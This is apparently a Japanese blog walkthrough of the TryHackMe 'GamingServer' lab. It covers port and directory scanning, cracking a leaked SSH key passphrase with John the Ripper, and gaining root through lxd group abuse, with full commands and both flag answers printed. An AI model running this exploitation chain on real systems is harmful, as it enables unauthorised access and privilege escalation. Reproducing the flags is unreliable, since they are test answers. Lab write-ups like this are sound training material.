【TryHackMe】GamingServer：Walkthrough

# 概要

TryHackMe「GamingServer」のWalkthroughです。

https://tryhackme.com/r/room/gamingserver

# Task1

## **Q1**.*What is the user flag?*

ポートスキャンを実行します。

```
$ nmap -Pn -sC -sV -A -T4 -p- 10.10.87.37 -oN nmap_result
PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 34:0e:fe:06:12:67:3e:a4:eb:ab:7a:c4:81:6d:fe:a9 (RSA)
|   256 49:61:1e:f4:52:6e:7b:29:98:db:30:2d:16:ed:f4:8b (ECDSA)
|_  256 b8:60:c4:5b:b7:b2:d0:23:a0:c7:56:59:5c:63:1e:c4 (ED25519)
80/tcp    open     http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: House of danak
|_http-server-header: Apache/2.4.29 (Ubuntu)
```

ポートの稼働状況が分かりました。

|ポート|サービス|バージョン|
|:-:|:-:|:-:|
|22|ssh|OpenSSH 7.6p1|
|80|http|Apache httpd 2.4.29|

ディレクトリ列挙を行います。

```
$ dirsearch -u http://10.10.87.37
[14:01:09] 200 -    2KB - /about.php 
[14:01:09] 200 -  524B  - /about.html
[14:02:31] 200 -   33B  - /robots.txt
[14:02:33] 200 -  456B  - /secret/
[14:02:33] 301 -  311B  - /secret  ->  http://10.10.87.37/secret/
[14:02:47] 301 -  312B  - /uploads  ->  http://10.10.87.37/uploads/
[14:02:47] 200 -  522B  - /uploads/
```

`robots.txt`には`/uploads`パスが記載されていました。

```/robots.txt
user-agent: *
Allow: /
/uploads/
```

`/secret`にアクセスすると秘密鍵を入手しました。

![secret key.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/ab288f2e-35d5-7f2c-ad26-408aee102f57.jpeg)

秘密鍵をKaliに保存し、パスワードを解析します。

```
$ ssh2john id_rsa > id_hash.txt
$ john id_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
letmein          (id_rsa)
```

パスワード分かったのでユーザー名を探します。
インデックスページのコメントアウトから`john`というユーザー名を発見しました。

![index comment.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/2c110d96-ed5c-9213-1370-31fe77871f67.jpeg)

入手した情報を使って、SSHで接続に成功しました。

```
$ ssh -i id_rsa john@10.10.87.37                      
Enter passphrase for key 'id_rsa':
john@exploitable:~$
```

`/home/john/user.txt`からフラグを入手できます。

```user.txt 
a5c2ff8b9c2e3d4fe9d4ff2f1a5a6e7e
```

**A**.**a5c2ff8b9c2e3d4fe9d4ff2f1a5a6e7e**

## **Q2**.*What is the root flag?*

`linpeas`を実行します。

`id`を実行すると様々なグループに所属していると分かりました。
HackTricksで悪用出来るグループがあるか調べます。

https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe

`lxd`のグループを悪用して権限昇格できそうです。

https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation

下記サイトを参考に実行します。

https://www.hackingarticles.in/lxd-privilege-escalation/

Kaliで攻撃環境を構築します。

```
$ git clone  https://github.com/saghul/lxd-alpine-builder.git
# cd lxd-alpine-builder
$ sudo ./build-alpine
$ ls   
alpine-v3.13-x86_64-20210218_0139.tar.gz  alpine-v3.20-x86_64-20240717_1513.tar.gz  build-alpine  LICENSE  README.md
$ python -m http.server 80
```

ターゲットマシン上で権限昇格をします。

```
$ cd /tmp
$ wget http://10.6.55.144/alpine-v3.13-x86_64-20210218_0139.tar.gz
$ lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias myimage
$ lxc image list
$ lxc init myimage ignite -c security.privileged=true
$ lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
$ lxc start ignite
$ lxc exec ignite /bin/sh
~ # whoami
root
```

root権限を取得できたのでフラグファイルを探します。

```
# find / -name root.txt 2>/dev/null
/mnt/root/root/root.txt
```

`/mnt/root/root/root.txt`からフラグを入手できます。

```/mnt/root/root/root.txt
2e337b8c9f3aff0c2b3e8d4e6a7c88fc
```

**A**.**2e337b8c9f3aff0c2b3e8d4e6a7c88fc**